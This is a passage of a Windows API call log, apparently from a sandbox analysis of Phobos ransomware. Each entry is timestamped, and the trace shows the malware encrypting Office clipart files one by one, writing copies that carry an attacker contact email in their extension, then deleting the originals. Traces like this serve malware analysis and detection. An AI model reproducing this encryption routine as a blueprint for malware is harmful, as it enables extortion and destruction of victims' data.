office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.080] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3012) returned 1 [0058.080] CloseHandle (hObject=0x330) returned 1 [0058.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0058.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.080] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.080] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.080] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0058.081] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.081] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xbc4, lpOverlapped=0x0) returned 1 [0058.127] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbd0) returned 1 [0058.127] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xbd0, lpOverlapped=0x0) returned 1 [0058.127] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dca50) returned 1 [0058.127] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.128] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.128] CryptDestroyKey (hKey=0x10dca50) returned 1 [0058.128] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.128] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.128] CloseHandle (hObject=0x330) returned 1 [0058.128] CloseHandle (hObject=0x2fc) returned 1 [0058.128] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0058.129] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.130] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2756) returned 1 [0058.130] CloseHandle (hObject=0x2fc) returned 1 [0058.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0058.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.130] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.130] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.130] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dccd0) returned 1 [0058.130] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.130] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xac4, lpOverlapped=0x0) returned 1 [0058.137] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xad0, dwBufLen=0xad0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xad0) returned 1 [0058.137] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xad0, lpOverlapped=0x0) returned 1 [0058.138] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc6d0) returned 1 [0058.138] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.138] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.138] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.138] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.138] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0058.138] CloseHandle (hObject=0x2fc) returned 1 [0058.138] CloseHandle (hObject=0x330) returned 1 [0058.138] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0058.139] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.139] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7372) returned 1 [0058.139] CloseHandle (hObject=0x330) returned 1 [0058.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0058.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.140] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.140] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.140] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc690) returned 1 [0058.140] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.140] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1ccc, lpOverlapped=0x0) returned 1 [0058.143] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1cd0, dwBufLen=0x1cd0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1cd0) returned 1 [0058.143] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1cd0, lpOverlapped=0x0) returned 1 [0058.144] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb90) returned 1 [0058.144] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.144] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.144] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.144] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.144] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.144] CloseHandle (hObject=0x330) returned 1 [0058.144] CloseHandle (hObject=0x2fc) returned 1 [0058.145] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0058.146] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.146] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7540) returned 1 [0058.146] CloseHandle (hObject=0x2fc) returned 1 [0058.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220 [0058.146] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.147] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.147] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.147] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0058.147] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.147] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1d74, lpOverlapped=0x0) returned 1 [0058.451] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1d80, dwBufLen=0x1d80 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1d80) returned 1 [0058.451] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1d80, lpOverlapped=0x0) returned 1 [0058.452] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0058.452] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.452] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.452] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.452] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.452] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.452] CloseHandle (hObject=0x2fc) returned 1 [0058.452] CloseHandle (hObject=0x330) returned 1 [0058.452] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0058.453] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.454] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=9240) returned 1 [0058.454] CloseHandle (hObject=0x330) returned 1 [0058.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0058.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.454] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.454] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.454] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0058.454] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.454] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2418, lpOverlapped=0x0) returned 1 [0058.467] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2420, dwBufLen=0x2420 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2420) returned 1 [0058.467] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2420, lpOverlapped=0x0) returned 1 [0058.468] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc750) returned 1 [0058.468] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.468] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.468] CryptDestroyKey (hKey=0x10dc750) returned 1 [0058.468] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.468] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.468] CloseHandle (hObject=0x330) returned 1 [0058.468] CloseHandle (hObject=0x2fc) returned 1 [0058.468] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0058.470] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.478] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=6060) returned 1 [0058.478] CloseHandle (hObject=0x330) returned 1 [0058.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0058.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.479] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.479] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.480] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0058.480] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.480] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x17ac, 